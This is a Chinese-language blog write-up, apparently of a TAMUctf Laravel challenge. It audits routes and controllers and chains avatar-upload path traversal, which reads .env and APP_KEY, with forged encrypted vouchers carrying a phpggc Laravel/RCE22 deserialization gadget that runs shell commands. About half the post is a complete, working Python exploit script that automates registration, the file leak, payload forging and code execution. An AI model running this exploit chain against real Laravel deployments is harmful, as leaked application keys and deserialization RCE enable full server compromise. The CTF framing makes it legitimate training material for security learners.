990 字
5 分钟
Laravel局部渗透的多重链追溯
Laravel局部渗透的多重链追溯
对于Laravel框架,接触还是有限,这里来审计一下,
首先是目录结构,

这里严肃关注app下面和route,如果不关乎配置错误,那么这是最优解,
因为在此框架的路由默认在routes/web.php中,所以先打点
Route::middleware(['auth'])->group(function() { Route::get('/', [DashboardController::class, 'index'])->name('dashboard'); Route::get('/account', [AccountController::class, 'index'])->name('account'); Route::get('/mining', [MiningController::class, 'index'])->name('mining'); Route::get('/vouchers', [VouchersController::class, 'index'])->name('vouchers'); Route::get('/transactions', [TransactionsController::class, 'index'])->name('transactions'); Route::get('/avatar', [AccountController::class, 'getAvatar']);
Route::post('/account', [AccountController::class, 'update']); Route::post('/account/avatar', [AccountController::class, 'updateAvatar']); Route::post('/mining/collect', [MiningController::class, 'collect']); Route::post('/transactions', [TransactionsController::class, 'send']); Route::post('/vouchers', [VouchersController::class, 'create']); Route::post('/vouchers/redeem', [VouchersController::class, 'redeem']);});
Route::get('/login', [AuthController::class, 'index'])->name('login');Route::get('/register', [AuthController::class, 'index'])->name('register');Route::get('/logout', [AuthController::class, 'index'])->name('logout');
Route::post('/login', [AuthController::class, 'auth']);Route::post('/register', [AuthController::class, 'register']);
Route::delete('/logout', [AuthController::class, 'logout']);可以看到需要鉴权的接口还是很多的,并且这里我们先去看对于鉴权后的接口操作,
因为并未进行严格admin分别鉴权,所以直接注册并无差异
看到update
public function updateAvatar(Request $request) { $request->validate([ 'avatar' => 'required|image|max:2048' ]);
/** @var \App\Models\User $user */ $user = Auth::user();
if ($user->avatar) { $previousPath = Storage::disk('public')->path($user->avatar); if (file_exists($previousPath)) unlink($previousPath); }
$name = $_FILES['avatar']['full_path']; $path = "/var/www/storage/app/public/avatars/$name"; $request->file('avatar')->storeAs('avatars', basename($name), 'public');
$user->avatar = $path; $user->save();
return redirect()->back(); }在这里写文件的路子经过了过滤,在storeAs函数中,basename直接会过滤路径穿越,
但是可以看看path,这是完全没有过滤就将路径数据写入了user->avatar
看看哪里需要用这个到这个属性
public function getAvatar(Request $request) { $path = Auth::user()->avatar;
if (!$path) return response()->json(['error' => 'No avatar set.']);
return response()->file($path); }}在这里每次请求都返回之前一样的path,那样我们就可以通过路径穿越读文件
那样还没完,因为
mv /tmp/flag.txt /$(openssl rand -hex 12)-flag.txt
flag变成了hax字符串的文件名
那样就没法直接进行读取了
下一步找到了反序列的链
public function create(Request $request) { $data = $request->validate([ 'amount' => 'required|integer|min:1' ]);
/** @var \App\Models\User $user */ $user = Auth::user(); $amount = (int) $data['amount'];
if ($user->balance < $amount) { return back()->withErrors([ 'amount' => 'Amount is greater than funds available.' ]); }
$user->balance -= $amount; $user->save();
$voucher = encrypt([ 'amount' => $amount, 'created_by' => $user->uuid, 'created_at' => Carbon::now() ]);
return back()->with('voucher', $voucher); }在这里接收的对象,一旦有了api_key就可以随意伪造,
而api_key可以在上部分路径穿越读取
并且,执行命令的不安全类是现成的
cmd = "sh -c 'cat /*-flag.txt > /var/www/public/pwn.txt'" serialized = run_phpggc(args.phpggc, "Laravel/RCE22", cmd) voucher = laravel_encrypt_raw(serialized, key)直接将flag文件写入可读的位置即可
POC:
import argparseimport base64import hashlibimport hmacimport jsonimport osimport randomimport reimport stringimport subprocessimport sysimport urllib3
import requestsfrom Crypto.Cipher import AES
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def extract_csrf(html: str) -> str: m = re.search(r'name="_token"\s+value="([^"]+)"', html) if m: return m.group(1) m = re.search(r'meta name="csrf-token" content="([^"]+)"', html) if m: return m.group(1) raise RuntimeError("CSRF token not found")
def tiny_png() -> bytes: return ( b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01" b"\x08\x02\x00\x00\x00\x90wS\xde\x00\x00\x00\x0cIDATx\x9cc``\x00\x00" b"\x00\x02\x00\x01\xe2!\xbc3\x00\x00\x00\x00IEND\xaeB`\x82" )
def laravel_encrypt_raw(serialized: str, key_bytes: bytes) -> str: iv = os.urandom(16) pt = serialized.encode() pad = 16 - (len(pt) % 16) pt += bytes([pad]) * pad ct = AES.new(key_bytes, AES.MODE_CBC, iv).encrypt(pt)
iv_b64 = base64.b64encode(iv).decode() val_b64 = base64.b64encode(ct).decode() mac = hmac.new(key_bytes, (iv_b64 + val_b64).encode(), hashlib.sha256).hexdigest() payload = json.dumps( {"iv": iv_b64, "value": val_b64, "mac": mac, "tag": ""}, separators=(",", ":"), ) return base64.b64encode(payload.encode()).decode()
def run_phpggc(phpggc: str, chain: str, cmd: str) -> str: attempts = [ ["php", phpggc, chain, "system", cmd], ["php", phpggc, chain, cmd], ["php", phpggc, "-f", chain, "system", cmd], ["php", phpggc, "-f", chain, cmd], ] for a in attempts: p = subprocess.run(a, capture_output=True, text=True) if p.returncode == 0 and p.stdout.strip(): return p.stdout.strip() raise RuntimeError(f"phpggc failed for {chain}")
def main(): parser = argparse.ArgumentParser(description="TAMUctf vault exploit") parser.add_argument( "--url", default="https://c52cafe9-55d4-4ef9-b255-345fcd8bab20.tamuctf.com", help="target base url", ) parser.add_argument( "--phpggc", default="phpggc/phpggc", help="path to phpggc entry script", ) args = parser.parse_args()
base = args.url.rstrip("/") s = requests.Session() s.verify = False
username = "u" + "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(8)) password = "Pass123456!"
# Register r = s.get(base + "/register", timeout=15) csrf = extract_csrf(r.text) s.post( base + "/register", data={"_token": csrf, "username": username, "password": password, "password2": password}, timeout=15, )
# Login r = s.get(base + "/login", timeout=15) csrf = extract_csrf(r.text) s.post( base + "/login", data={"_token": csrf, "username": username, "password": password}, timeout=15, )
# LFI: upload valid PNG but crafted full_path -> ../../../../.env r = s.get(base + "/account", timeout=15) csrf = extract_csrf(r.text) s.post( base + "/account/avatar", data={"_token": csrf}, files={"avatar": ("../../../../.env", tiny_png(), "image/png")}, timeout=15, ) env_text = s.get(base + "/avatar", timeout=15).text m = re.search(r"^APP_KEY=(.+)$", env_text, flags=re.M) if not m: print("[-] APP_KEY not found from /avatar") sys.exit(1) app_key = m.group(1).strip() key = base64.b64decode(app_key.split(":", 1)[1]) print(f"[+] APP_KEY: {app_key}")
# Build gadget payload, then encrypt as Laravel token for decrypt() cmd = "sh -c 'cat /*-flag.txt > /var/www/public/pwn.txt'" serialized = run_phpggc(args.phpggc, "Laravel/RCE22", cmd) voucher = laravel_encrypt_raw(serialized, key)
# Trigger gadget via vouchers/redeem r = s.get(base + "/vouchers", timeout=15) csrf = extract_csrf(r.text) rr = s.post( base + "/vouchers/redeem", data={"_token": csrf, "voucher": voucher}, timeout=15, ) print(f"[+] redeem status: {rr.status_code}")
# Read dropped file fr = s.get(base + "/pwn.txt", timeout=15) print(f"[+] /pwn.txt status: {fr.status_code}") print(fr.text.strip())
flag = re.search(r"gigem\{[^}]+\}", fr.text, flags=re.I) if flag: print(f"[FLAG] {flag.group(0)}") else: print("[-] flag regex not found")
if __name__ == "__main__": main() Laravel局部渗透的多重链追溯
https://steins-gate.cn/posts/初识laravel/ 部分信息可能已经过时





